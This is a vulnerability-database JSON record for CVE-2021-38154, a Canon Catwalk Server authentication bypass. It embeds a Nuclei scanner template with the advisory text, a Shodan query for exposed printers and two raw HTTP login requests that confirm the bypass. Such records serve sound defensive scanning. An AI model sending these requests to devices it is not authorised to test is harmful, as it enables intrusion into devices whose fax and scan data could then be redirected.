{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-38154/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-38154/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-38154/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-38154/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-38154/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-38154"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-38154"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-38154.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2021-38154\n\ninfo:\n  name: Canon Devices - Authentication Bypass in Catwalk Server\n  author: daffainfo\n  severity: high\n  description: |\n    Certain Canon devices manufactured in 2012 through 2020 (such as imageRUNNER ADVANCE iR-ADV C5250), when Catwalk Server is enabled for HTTP access, allow remote attackers to modify an e-mail address setting, and thus cause the device to send sensitive information through e-mail to the attacker. For example, an incoming FAX may be sent through e-mail to the attacker. This occurs when a PIN is not required for General User Mode, as exploited in the wild in August 2021.\n  impact: |\n    Unauthenticated attackers can modify email settings and redirect FAX and scan data to attacker-controlled email addresses when PIN protection is disabled, potentially intercepting sensitive business communications.\n  remediation: |\n    Configure a PIN for General User Mode or apply Canon firmware updates that address this vulnerability.\n  reference:\n    - https://protocolpolice.nl/CVE-2021-38154_Protocol_Police_Catwalk_Alert\n    - https://www.usa.canon.com/internet/portal/us/home/support/product-advisories\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-38154\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2021-38154\n    cwe-id: CWE-732\n    epss-score: 0.04\n    epss-percentile: 0.90145\n    cpe: cpe:2.3:h:canon:-:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: canon\n    shodan-query: title:\"imageRUNNER\"\n  tags: cve,cve2021,canon,auth-bypass,vkev,intrusive,vuln\n\nflow: http(1) || http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /tryLogin.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        loginM=&0000=0011&0002=\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 303'\n          - 'contains(location, \"/portal_top.html\")'\n          - 'contains(set_cookie, \"fusion-http-session-id=\")'\n        condition: and\n\n  - raw:\n      - |\n        POST /checkLogin.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        i0017=2&i0019=\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 302'\n          - 'contains(location, \"/portal_top.html\")'\n          - 'contains(set_cookie, \"sessid=\")'\n        condition: and\n# digest: 4a0a0047304502200e4762a5d06b446c4668b4218e42e914d35915f050ff16053e40071eee2481a7022100ae6a4b27af4b1193fcbba396668bc254d368dec5c08a008839581ab02fb20e9a:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-38154"
}